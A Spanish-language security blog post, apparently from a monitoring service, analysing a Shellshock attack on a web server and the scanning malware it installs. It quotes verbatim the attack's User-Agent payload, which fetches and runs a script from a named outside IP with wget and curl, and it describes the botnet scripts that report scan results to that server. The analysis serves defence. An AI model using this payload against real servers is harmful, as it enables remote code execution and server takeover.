Análisis de ataque web

Desde el servicio de monitorización y alerta de Ariolo muchas veces tenemos que analizar los ataques para comprobar si realmente se trata de un falso positivo o por el contrario de un ataque que puede haber aprovechado una vulnerabilidad y comprometido el servidor. Además, mediante este servicio de respuesta a incidentes podemos recomendar y ayudar a nuestros clientes a proteger sus servicios, así como también ofrecer una rápida respuesta al ciber ataque.

Uno de los ataques que no paramos de observar es el intento de hacerse con los servidores webs mediante la vulnerabilidad de Shellshock que afecta a equipos Linux. A continuación podemos ver cómo la sonda Ariolo ha detectado un intento de ataque al servidor web, debido a que la cabecera HTTP contiene comandos para que sean ejecutados por el servidor:

Alarma de Ataque Web

Si analizamos el paquete TCP con Wireshark podemos observar que el atributo User-Agent de la cabecera HTTP no se corresponde con Internet Explorer, Mozilla, etc sino más bien con un conjunto de comandos para que sean ejecutados por el servicio web.

Análisis Wireshark de la Alarma

Concretamente la cadena que contiene el atributo User-Agent es la siguiente:

() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh .c.txt* \");'

Donde podemos observar el ataque shellshock, que de ser satisfactorio se encargará de limpiar los archivos temporales para actualizar o descargar desde 109.228.25.87 el nuevo script .c.txt, que se mantendrá oculto en la estructura de ficheros.

Si descargamos y analizamos el fichero .c.txt podemos ver que el siguiente paso es matar los procesos que probablemente estuviese utilizando la máquina si estuviera infectada por este “malware”. A continuación descarga el archivo cc.tar desde 109.228.25.87, lo descomprime y ejecuta el fichero llamado r.

Script .c.txt

La labor principal del script r es preparar una clase que contendrá una lista de ficheros y que será pasada por parámetro al script start. Por la extensión del script r no voy a mostrarlo por completo, pero para que os hagáis una idea la clase es class="xaa xab xac … yyz”.

Script r

El script start recibe por parámetro el nombre del fichero que tiene que descargarse desde http://109.228.25.87/.ips-80. Posteriormente comprueba si la máquina comprometida es de 64 o 32 bits para comenzar a realizar escaneos webs de las IPs que aparecen en el fichero descargado y de las carpetas que se indican en el fichero patch.

Script start

Como podemos ver en la lista de directorios del fichero patch, los directorios analizados se corresponden con cgi-bin y php para conocer qué otras máquinas son vulnerables a Shellshock.

patch - lista de directorios

Por último, el script start llama al script print que leerá los resultados de los análisis desde el fichero t.log, línea por línea, enviando cada línea mediante la variable i al servidor de control 109.228.25.87. El resultado de los envíos se almacena en el fichero .tmp, oculto en el sistema de ficheros.

Script print

Estamos ante un ataque sencillo de ejecutar y sencillo de analizar que trata de utilizar nuestros recursos para realizar análisis webs. Sin un procedimiento de parcheo periódico y sin herramientas IPS/IDS este pequeño y discreto malware estaría dentro de nuestro servidor web, que ahora está realizando análisis webs pero que después podría ser actualizado para otras funciones como por ejemplo envío de spam.

Un saludo amigos y recuerda, lo primero que te venga a la cabeza ¡escríbelo en un comentario!

Commentaires